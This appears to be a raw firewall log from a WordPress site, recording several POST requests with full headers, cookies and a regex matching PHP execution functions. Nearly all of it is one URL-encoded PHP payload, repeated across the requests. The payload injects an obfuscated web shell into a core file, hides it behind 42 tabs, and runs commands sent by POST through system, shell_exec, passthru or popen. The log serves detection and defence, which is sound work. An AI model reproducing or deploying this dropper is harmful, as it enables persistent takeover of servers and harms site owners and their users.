Safari\/537.36\n\nXZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:40:23","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnTbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6609\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nhj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:41:44","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6609\n\nWC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dc